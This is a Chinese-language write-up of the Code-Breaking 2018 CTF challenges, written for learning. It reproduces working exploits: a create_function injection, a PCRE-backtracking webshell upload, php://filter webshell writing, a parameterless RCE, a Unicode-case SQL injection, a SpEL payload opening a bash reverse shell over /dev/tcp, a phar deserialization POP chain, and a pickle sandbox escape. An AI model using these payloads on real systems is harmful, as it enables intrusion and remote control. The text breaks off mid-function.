CodeBreaking 代码审计

CodeBreaking : https://code-breaking.com/

在线正则表达式匹配 : https://regex101.com/

根据已有的大佬们的 wp 对 code breaking 做的一个复现,很多内容都是第一次接触,对涉及到的知识点做些总结和拓展。

function

  • create_function 注入

  • 源码

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $action = $_GET['action'] ?? '';
    $arg = $_GET['arg'] ?? '';
    if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
    } else {
    $action('', $arg);
    }
  • 正则 /i 不区分大小写,/s 匹配任何不可见字符,包括空格,TAB,换行,/D 如果使用 $ 限制结尾字符,则不允许结尾有换行

  • preg_match('/^[a-z0-9_]*$/isD', $action) 匹配所有字母,数字和下划线开头的字符串

  • 想通过 fuzz 找到字符串以达到 bypass 的目的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import requests

    url_start = 'http://192.168.233.132:8087/?action='
    url_end = 'var_dump&arg=2'

    for i in range(1,256):
    i = chr(i).encode()
    para = i.hex()

    url = url_start + '%' + str(para) + url_end
    r = requests.get(url=url)

    # 不出现 error 且 不返回 index.php
    if (r.headers['Content-Length'] != '279') and ('error' not in r.text):
    print(para)
  • 找到了 %5c,即 \,可以让 var_dump 成功执行,ph 牛给了如下的解释。接下来就是 getshell 函数的寻找,要有两个参数且第二个参数可能会导致 RCE

    php 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name() 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

  • 不难发现函数 create_function,官方定义如图

  • 以如下代码为例

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc\n";
    echo $newfunc(2, M_E) . "\n";
    // outputs
    // New anonymous function: lambda_1
    // ln(2) + ln(2.718281828459) = 1.6931471805599
    ?>

    第一行代码等价于

    1
    2
    3
    4
    5
    eval(
    function __lambda_func($a, $b){
    return "ln($a) + ln($b) = " . log($a * $b);
    }
    )
  • 本题就可以构造 payload : action=\create_function&arg=return 'peri0d';}var_dump(scandir('../'));/*,然后 readfile(flag) 即可

    相当于

    1
    2
    3
    4
    5
    6
    eval(
    function __lambda_func($a, $b){
    return 'peri0d';}
    var_dump(scandir('../')); /*
    }
    )

pcrewaf

  • PCRE 回溯次数限制绕过正则

  • 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
    }

    if(empty($_FILES)) {
    die(show_source(__FILE__));
    }

    $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
    $data = file_get_contents($_FILES['file']['tmp_name']);
    if (is_php($data)) {
    echo "bad request";
    } else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
    }
  • 上传文件,使用正则判断是否含有 php 代码,正则 /i 不区分大小写,/s 匹配任何不可见字符,包括空格,TAB,换行。

  • 如果不含有 php 代码,上传的文件会被保存,并在 http 中重定向到文件路径

  • 常见的正则引擎有两种,DFA 和 NFA,php 中的 PCRE 库使用的是 NFA,

    • DFA : 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
    • NFA : 从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
  • 假设待匹配字符串 <?php phpinfo();//aaaaa 匹配顺序如下图 :

  • 在第四步,由于匹配的是 .* 任意多个字符,所以匹配到最后

  • 按照正则,在 .* 后面应该是 [(`;?>] ,显然 //aaaaa 不对,所以依次吐出这几个字符,即回溯,这里总共回溯了 8 次,回溯到 ;.* 匹配的是 <?php phpinfo() ,后面的 ; 符合 [(`;?>] ,所以匹配 ; ,然后正则最后的 .* 匹配到最后

  • php 有一个回溯上限 backtrack_limit ,默认是 1000000。如果回溯上限超过 100 万那么 preg_match 返回 false ,既不是 1 也不是 0 ,这样就可以绕过了

  • 对应 poc :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import requests
    from io import BytesIO

    url = 'http://192.168.233.132:8088/index.php'

    files = {
    'file': BytesIO(b'<?php eval($_POST[shell]);//' + b'a'*1000000)
    }

    # 请求并禁止重定向
    r = requests.post(url=url, files=files, allow_redirects=False)

    print(r.headers)
  • 可以获取 shell 位置,连接即可

  • 如下一个 waf :

    1
    2
    3
    4
    <?php
    if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
    }
  • 输入 UNION/*aaaaa*/SELECT ,这个正则表达式执行流程如下

    1. 正则先匹配 UNION,然后 .+? 匹配 /
    2. 由于是非贪婪匹配,匹配最短字符,所以只匹配到 / 就停止
    3. 接着 S 匹配 * ,匹配失败,回溯,由 .+? 匹配 * ,成功
    4. 重复上一步,直到匹配结束
  • 这里也可以利用回溯次数限制绕过正则

  • preg_match 返回的是匹配到的次数,如果匹配不到会返回 0 ,如果报错就会返回 false 。所以,对 preg_match 来说,只要对返回结果有判断,就可以避免这样的问题

phpmagic

  • 伪协议解码 base64 写入 shell

  • 代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <?php
    if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
    }

    define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

    if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
    }
    chdir(DATA_DIR);

    $domain = isset($_POST['domain']) ? $_POST['domain'] : '';
    $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

    if(!empty($_POST) && $domain){
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);
    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
    file_put_contents($log_name, $output);
    }
    echo $output;
    }
    endif;
    ?>
  • $_SERVER['REMOTE_ADDR'] 获取浏览当前页面的用户的 IP 地址,在 data 下创建文件夹,用于存储 output

  • $domain 和 $log 两个参数可控,$domain 用于 dig 命令,$log 用于将结果写入

  • 在 php 中,只要是传 filename 的地方,都可以传协议流

  • 思路就是 $log_name 处利用伪协议将 $output 处的字符串 base64 解码写入 webshell

  • $_SERVER['SERVER_NAME'] 获取当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。这个值可以更改,由 HTTP Header 中的 Host 决定。

  • pathinfo() 函数过滤后缀名,但是,只要在后缀名后加上 /. ,它就获取不到后缀名了,且可以正常写入 .php 之中。php 在处理路径的时候,会递归删除掉路径中存在的 /.

  • php 伪协议 base64 解码中,如果遇到不合规范的字符就直接跳过。base64 解码是按照 4 位解的,所以要只有传入 4 的倍数位字符串才能解码为正常字符串,且传入的 base64 不能以 == 结尾,== 出现在 base64 中间不符合规则,可能会无法解析

  • payload :

    1
    2
    3
    4
    POST
    Host: php

    domain=YWFhYTw/cGhwIGV2YWwoJF9QT1NUWydzaGVsbCddKTsgLy8q&log=://filter/write=convert.base64-decode/resource=/var/www/html/data/daa6b8b28b2eda419112a887399ce9fc/shell.php/.

  • 结果 :

phplimit

  • 无参 RCE

  • 代码如下 :

    1
    2
    3
    4
    5
    6
    <?php
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
    } else {
    show_source(__FILE__);
    }
  • ciscn 2019 和 rctf 2018 的题目,统计一下这一题的解法,主要是 get_defined_vars() 和 session_id() 两个函数

  • preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])\W 匹配任意字母和数字,(?R)? 重复整个模式,?R 是 php 中的一种递归模式,合在一起类似于匹配 x(y(z())) 样式的,且不能存在参数,输入 ?code=phpinfo(); 可以查看 phpinfo 页面

  • 在 rctf 2018 的题目中使用的是 apache 的容器,在本题使用 nginx 容器,都是考虑通过修改请求头信息来实现 RCE

  • 在 apache 中可以使用 getallheaders() 获取所有头信息,而在 nginx 中可以使用 get_defined_vars() 函数获取所有已定义的变量列表,然后就可以通过位置函数来操控数组

  • session_id() 可以获取 PHPSESSID,虽然 PHPSESSID 只允许字母数字和下划线出现,hex2bin 转换一下编码即可

  • 几个 payload :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 第一个
    ?code=eval(hex2bin(session_id(session_start()))); // echo 'peri0d';
    Cookie: PHPSESSID=6563686f2027706572693064273b

    //第二个
    ?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../'));

    //第三个
    ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

nodechr

  • js 的题目,关于 javascript 的大小写特性,两个函数 toLowerCase() 和 toLowerCase()

  • 代码如下 :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    // initial libraries
    const Koa = require('koa')
    const sqlite = require('sqlite')
    const fs = require('fs')
    const views = require('koa-views')
    const Router = require('koa-router')
    const send = require('koa-send')
    const bodyParser = require('koa-bodyparser')
    const session = require('koa-session')
    const isString = require('underscore').isString
    const basename = require('path').basename

    const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))

    async function main() {
    const app = new Koa()
    const router = new Router()
    const db = await sqlite.open(':memory:')

    await db.exec(`CREATE TABLE "main"."users" (
    "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    "username" TEXT NOT NULL,
    "password" TEXT,
    CONSTRAINT "unique_username" UNIQUE ("username")
    )`)
    await db.exec(`CREATE TABLE "main"."flags" (
    "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    "flag" TEXT NOT NULL
    )`)
    for (let user of config.users) {
    await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
    }
    await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)

    router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

    app.use(views(__dirname + '/views', {
    map: {
    html: 'underscore'
    },
    extension: 'html'
    })).use(bodyParser()).use(session(app))

    app.use(router.routes()).use(router.allowedMethods());

    app.keys = config.signed
    app.context.db = db
    app.context.router = router
    app.listen(3000)
    }

    function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
    return keyword
    }

    return undefined
    }

    async function login(ctx, next) {
    if(ctx.method == 'POST') {
    let username = safeKeyword(ctx.request.body['username'])
    let password = safeKeyword(ctx.request.body['password'])

    let jump = ctx.router.url('login')
    if (username && password) {
    let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

    if (user) {
    ctx.session.user = user

    jump = ctx.router.url('admin')
    }

    }

    ctx.status = 303
    ctx.redirect(jump)
    } else {
    await ctx.render('index')
    }
    }

    async function static(ctx, next) {
    await send(ctx, ctx.path)
    }

    async function admin(ctx, next) {
    if(!ctx.session.user) {
    ctx.status = 303
    return ctx.redirect(ctx.router.url('login'))
    }

    await ctx.render('admin', {
    'user': ctx.session.user
    })
    }

    async function source(ctx, next) {
    await send(ctx, basename(__filename))
    }

    main()
  • 关键代码在于 safeKeyword() 函数,过滤了 union 和 select

    1
    2
    3
    4
    5
    6
    7
    function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
    return keyword
    }

    return undefined
    }
  • p 牛在博客中提到过如下特性,但是也适用于 python 中,这样就可以绕过保护函数,达到注入的目的

    “ ı “.toUpperCase() == ‘ I ‘

    “ ſ “.toUpperCase() == ‘ S ‘

    “ K “.toLowerCase() == ‘ k ‘

  • payload :

    1
    2
    POST
    username=peri0d&password=' un%C4%B1on %C5%BFelect 1,(%C5%BFelect flag from flags),3'

javacon

  • EI 表达式注入,http://rui0.cn/archives/1043

  • 基础知识

  • 目录结构如下

  • SpringBoot 框架,看了一下 Spring 表达式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    public class HelloWorld { 
    public static void main(String[] args) {
    //构造上下文:准备比如变量定义等等表达式运行需要的上下文数据
    EvaluationContext context = new StandardEvaluationContext();
    //创建解析器:提供SpelExpressionParser默认实现
    ExpressionParser parser = new SpelExpressionParser();
    //解析表达式:使用ExpressionParser来解析表达式为相应的Expression对象
    Expression expression =
    parser.parseExpression("('Hello' + ' World').concat(#end)");

    //设置上下文中的变量的值
    context.setVariable("end", "!SpringEL");
    //执行表达式,获取运行结果
    String str = (String)expression.getValue(context);
    // the str=Hello World!SpringEL
    System.out.println("the str="+str);
    }
    }
  • 先看配置文件 application.yml,提供了一个黑名单和用户列表

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    spring:
    thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
    keywords:
    blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
    user:
    username: admin
    password: admin
    rememberMeKey: c0dehack1nghere1
  • 文件结构 :

    • SmallEvaluationContext.java 实现构造上下文的功能
    • ChallengeApplication.java 实现启动功能
    • Encryptor.java 实现 AES 加解密
    • KeyworkProperties.java 实现黑名单
    • UserConfig.java 实现用户模型,其中的 RememberMe 用到了 Encryptor
    • MainController.java 控制程序的主要逻辑
  • 主要看 MainController.java 中的代码,在 login 功能处,如果勾选 Remember me 就会返回一个加密之后的 cookie,然后跳转到 hello.html

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    @PostMapping("/login")
    public String login(@RequestParam(value = "username", required = true) String username,
    @RequestParam(value = "password", required = true) String password,
    @RequestParam(value = "remember-me", required = false) String isRemember,
    HttpSession session, HttpServletResponse response)
    {
    if (userConfig.getUsername().contentEquals(username) && userConfig.getPassword().contentEquals(password)) {
    session.setAttribute("username", username);

    if (isRemember != null && !isRemember.equals("")) {
    Cookie c = new Cookie("remember-me", userConfig.encryptRememberMe());
    c.setMaxAge(60 * 60 * 24 * 30);
    response.addCookie(c);
    }

    return "redirect:/";
    }
    return "redirect:/login-error";
    }

  • 对敏感信息 cookie 的操作如下,首先判断 remember-me 是否存在,然后获取其值进行解密,直接将它赋值给 username,接下来就是使用 getAdvanceValue() 这个自定义函数赋值给 name

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    @GetMapping
    public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,HttpSession session,Model model) {
    if (rememberMeValue != null && !rememberMeValue.equals("")) {
    String username = userConfig.decryptRememberMe(rememberMeValue);
    if (username != null) {
    session.setAttribute("username", username);
    }
    }

    Object username = session.getAttribute("username");
    if(username == null || username.toString().equals("")) {
    return "redirect:/login";
    }

    model.addAttribute("name", getAdvanceValue(username.toString()));
    return "hello";
    }
  • getAdvanceValue 函数如下,就是与黑名单匹配,如果匹配则抛出 FORBIDDEN,否则进行正常的 SpEL 解析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    private String getAdvanceValue(String val) {
    for (String keyword: keyworkProperties.getBlacklist()) {
    Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
    if (matcher.find()) {
    throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
    }
    }

    ParserContext parserContext = new TemplateParserContext();
    Expression exp = parser.parseExpression(val, parserContext);
    SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
    return exp.getValue(evaluationContext).toString();
    }
  • 这里就是 SpEL 注入实现 RCE 了,在不指定 EvaluationContext 时,默认采用的是 StandardEvaluationContext ,这里还进行了黑名单匹配,利用反射就可以绕过黑名单

  • 在 JAVA 中,通过 java.lang.Runtime.getRuntime().exec(cmd) 来执行命令,这里可以利用反射写一个反弹 shell 来 getshell,构造 payload 如下 :

    1
    #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.233.130/2333 0>&1"})}
  • 加密之后修改 cookie 发送

    1
    2
    3
    4
    5
    6
    7
    8
    9
    import static net.mindview.util.Print.*;

    public class sss {
    public static void main(String[] args) {
    String x = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.233.130/2333 0>&1\"})}";
    String y = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", x);
    print(y);
    }
    }
  • 实现反弹 shell

lumenserial

  • 寻找 POP 链,phar 反序列化,GitHub 给的 docker 环境好像有点问题

  • https://github.com/phith0n/code-breaking/blob/master/2018/lumenserial

  • 首先看一下路由信息,当访问 /server/editor 时会调用 App\Http\Controllersmain 方法

    1
    2
    $router->get('/server/editor', 'EditorController@main');
    $router->post('/server/editor', 'EditorController@main');
  • 进入 EditorController.php 文件,存在 doUploadImagedoCatchimagedoListImagedoConfig 的功能。进入 main,从 url 获取 action 参数,如果 action 存在就执行这个函数,返回结果均为 json 格式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public function main(Request $request)
    {
    $action = $request->query('action');
    try {
    if (is_string($action) && method_exists($this, "do{$action}")) {
    return call_user_func([$this, "do{$action}"], $request);
    } else {
    throw new FileException('Method error');
    }
    } catch (FileException $e) {
    return response()->json(['state' => $e->getMessage()]);
    }
    }
  • download 函数中,$url 未经过滤就传给了 file_get_contents,而 $url 源自 doCatchimage 中的 $request->input($this->config['catcherFieldName']),查看配置文件 /resources/editor/config.json 就可以知道其值为 source,也就是 url 中的 source 参数,然后就可以利用 phar 反序列化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    protected function doCatchimage(Request $request)
    {
    $sources = $request->input($this->config['catcherFieldName']);
    $rets = [];
    if ($sources) {
    foreach ($sources as $url) {
    $rets[] = $this->download($url);
    }
    }
    return response()->json([
    'state' => 'SUCCESS',
    'list' => $rets
    ]);
    }
  • 可以直接根据已有的 payload 构造反序列化 https://xz.aliyun.com/t/6059

  • exp :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    <?php
    namespace Illuminate\Broadcasting {
    class PendingBroadcast {
    protected $events;
    protected $event;
    function __construct($evilCode)
    {
    $this->events = new \Illuminate\Bus\Dispatcher();
    $this->event = new BroadcastEvent($evilCode);
    }
    }

    class BroadcastEvent {
    public $connection;
    function __construct($evilCode)
    {
    $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
    }
    }
    }

    namespace Illuminate\Bus {
    class Dispatcher {
    protected $queueResolver;
    function __construct()
    {
    $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
    }
    }
    }

    namespace Mockery\Loader {
    class EvalLoader {}
    }
    namespace Mockery\Generator {
    class MockDefinition {
    protected $config;
    protected $code;
    function __construct($evilCode)
    {
    $this->code = $evilCode;
    $this->config = new MockConfiguration();
    }
    }
    class MockConfiguration {
    protected $name = 'abcdefg';
    }
    }

    namespace {
    $code = "<?php phpinfo(); exit; ?>";
    $exps = new \Illuminate\Broadcasting\PendingBroadcast($code);

    $p = new Phar('exp.phar', 0, 'exp.phar');
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($exps);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
    }
    ?>

picklecode

  • python 反序列化,Django 模板引擎沙箱

  • 基础知识 : python 反序列化

  • 通常代码审计先看配置文件,Django 配置文件 web/core/setting.py,发现如下代码 :

    1
    2
    SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
    SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
  • 一般默认的 Django 配置文件是不含这两项的,SESSION_ENGINE 是用户 session 存储的位置,SESSION_SERIALIZER 是 session 存储的方式。用户的 session 先经过 SESSION_SERIALIZER 处理成一个字符串后存储到 SESSION_ENGINE 指定的位置。在这里,就是 session 使用 pickle 的序列化方法,经过签名后存储在 cookies 中,我们所不知道的就是签名的密钥

  • 思路就是获取密钥,pickle 反序列化

  • 阅读路由信息,首先会调用 views.RegistrationLoginView.as_view() 函数,进行登录或者注册之后,在 views.index() 函数中直接将用户名拼接到模板中,也就是说这里存在着 SSTI 漏洞,那就可以利用它获取 SECRET_KEY

    1
    2
    3
    4
    5
    @login_required
    def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))
  • 随意构造一个 username 为 可以看到一个加密后的密码,这就验证了 SSTI

  • /template/registration/login.htmlcsrf_token 处下个断点,可以看到有很多变量,其中有一部分是加载模板的时候传入的,还有一部分是 Django 自带的,可以在 settings.py 中的 templates 查看自带的变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    TEMPLATES = [
    {
    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'DIRS': [],
    'APP_DIRS': True,
    'OPTIONS': {
    'context_processors': [
    'django.template.context_processors.debug',
    'django.template.context_processors.request',
    'django.contrib.auth.context_processors.auth',
    'django.contrib.messages.context_processors.messages',
    ],
    },
    },
    ]
  • 这里的 context_processors 就代表会向模板中注入的一些上下文。通常来说, requestuser 、和 perms 都是默认存在的,但显然, settings 是不存在的,我们无法直接在模板中读取 settings 中的信息,包括密钥。Django 的模板引擎有一定限制,比如无法读取用下划线开头的属性

  • 经过一番寻找,在 request.user.groups.source_field.opts.app_config.module.admin.settings 处发现 SECRET_KEY ,那就可以构造 username 为 request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY 即可获取签名密钥了 zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm

  • 接着就是 pickle 的反序列化了,其核心文件为 /core/serializer.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    import pickle
    import io
    import builtins

    __all__ = ('PickleSerializer', )


    class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
    # Only allow safe classes from builtins.
    if module == "builtins" and name not in self.blacklist:
    return getattr(builtins, name)
    # Forbid everything else.
    raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


    class PickleSerializer():
    def dumps(self, obj):
    return pickle.dumps(obj)

    def loads(self, data):
    try:
    if isinstance(data, str):
    raise TypeError("Can't load pickle from unicode string")
    file = io.BytesIO(data)
    return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
    except Exception as e:
    return {}
  • 其中设置了一个反序列化沙盒,禁用了 'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit' 并且只允许调用 python 内置函数

  • 但是 getattr 这个万金油函数没有被限制,那就可以使用 builtins.getattr(builtins,'eval') 来获取 eval 函数,这就相当于绕过了这个沙盒

  • 首先执行 getattr 获取 eval 函数,再执行 eval 函数,这实际上是两步,而我们常用 __reduce__ 生成的序列化字符串,只能执行一个函数,这就产生矛盾了,所以就要放弃 __reduce__ 直接手写 pickle 代码

  • pickle 是一种堆栈语言,它没有变量名这个概念,pickle 的内容存储在 stack(栈) 和 memo(存储信息的列表) 中。首先将 payload b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' 写进一个文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import pickle
    import os

    class Person():
    def __reduce__(self):
    return (os.system, ('whoami',))

    person = Person()
    f = open('pickle','wb')
    pickle.dump(person ,f, protocol = 0)
    f.close()
  • 执行 python -m pickletools pickle 对其分析,得到一堆操作指令(opcode)

  • 阅读源码可以获得所有的 opcodes

  • 这段 pickle 代码所涉及到的部分符号意思如下 :

    1
    2
    3
    4
    5
    6
    7
    c : 引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是为什么要用getattr来获取对象)
    p : 将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
    ( : 压入一个标志到栈中,表示元组的开始位置
    V : 向栈中压入一个(unicode)字符串
    t : 从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
    R : 从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
    . : 表示整个程序结束
  • 那么这段 pickle 就很容易懂了

    language
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    00: c    GLOBAL     'nt system' # 向栈顶压入 'nt.system' 这个可执行对象
    11: p PUT 0 # 将这个对象存储到 memo 的第 0 个位置
    14: ( MARK # 压入一个元组的开始标志
    15: V UNICODE 'whoami' # 压入字符串'whoami'
    23: p PUT 1 # 将这个字符串存储到 memo 的第 1 个位置
    26: t TUPLE (MARK at 14) # 将由刚压入栈中的字符串弹出,再将由这个字符串组成的元组压入栈中
    27: p PUT 2 # 将这个元组存储到 memo 的第 2 个位置
    30: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,这里即为 'nt.system('whoami')' ,将结果压入栈中
    31: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到 memo 的第 3 个位置
    34: . STOP # 程序结束
  • 简化为如下代码,memo 没有起到太大作用,但这段代码仍然可以执行命令

    1
    2
    3
    4
    nt
    system
    (Vwhoami
    tR.
  • 接着开始写 pickle 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    cbuiltins # 将 builtins 设为可执行对象
    getattr # 获取 getattr 方法
    (cbuiltins # 压入元组开始标志,并将 builtins 设为可执行对象
    dict # 获取 dict 对象
    S'get' # 压入字符串 'get'
    tR(cbuiltins # 弹出 builtins.dict,get 并组成新的元组压入栈中。然后执行 builtins.getattr(builtins.dict,get) 得到 get 方法压入栈中。再压入元组标志,将 builtins 设为可执行对象
    globals # 获取 builtins.globals
    (tRS'builtins' # 压入元组标志,执行 builtins.globals,然后压入字符串 'builtins'
    tRp1 # 执行 get(builtins),获取到 builtins 对象存储到 memo[1] 处
  • python 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import pickle
    import builtins

    data = b'''cbuiltins
    getattr
    (cbuiltins
    dict
    S'get'
    tR(cbuiltins
    globals
    (tRS'builtins'
    tRp1
    .'''

    data = pickle.loads(data)

    print(data)
    # <module 'builtins' (built-in)>
  • 然后利用这个没有限制的 builtins 对象获取危险函数,并执行,这就绕过了沙盒

    1
    2
    3
    4
    5
    6
    cbuiltins # 将 builtins 设为可执行对象
    getattr # 获取 getattr 方法
    (g1 # 压入数组,压入上一步获取的 builtins 对象
    S'eval' # 压入字符串 'eval'
    tR(S'__import__("os").system("id")' # 获取到 eval 函数。将字符串 '__import__("os").system("id")' 压入
    tR. # 执行 eval('__import__("os").system("id")')
  • 上面都是绕过的分析,看一下本题有哪些可控点,考虑 SESSIONID ,接下来就看一下源码中对于它的操作

  • 它使用的是 django.contrib.sessions.backends.signed_cookies 直接导入

  • python 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    import pickle
    import builtins
    import io

    class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
    # Only allow safe classes from builtins.
    if module == "builtins" and name not in self.blacklist:
    return getattr(builtins, name)
    # Forbid everything else.
    raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


    def restricted_loads(s):
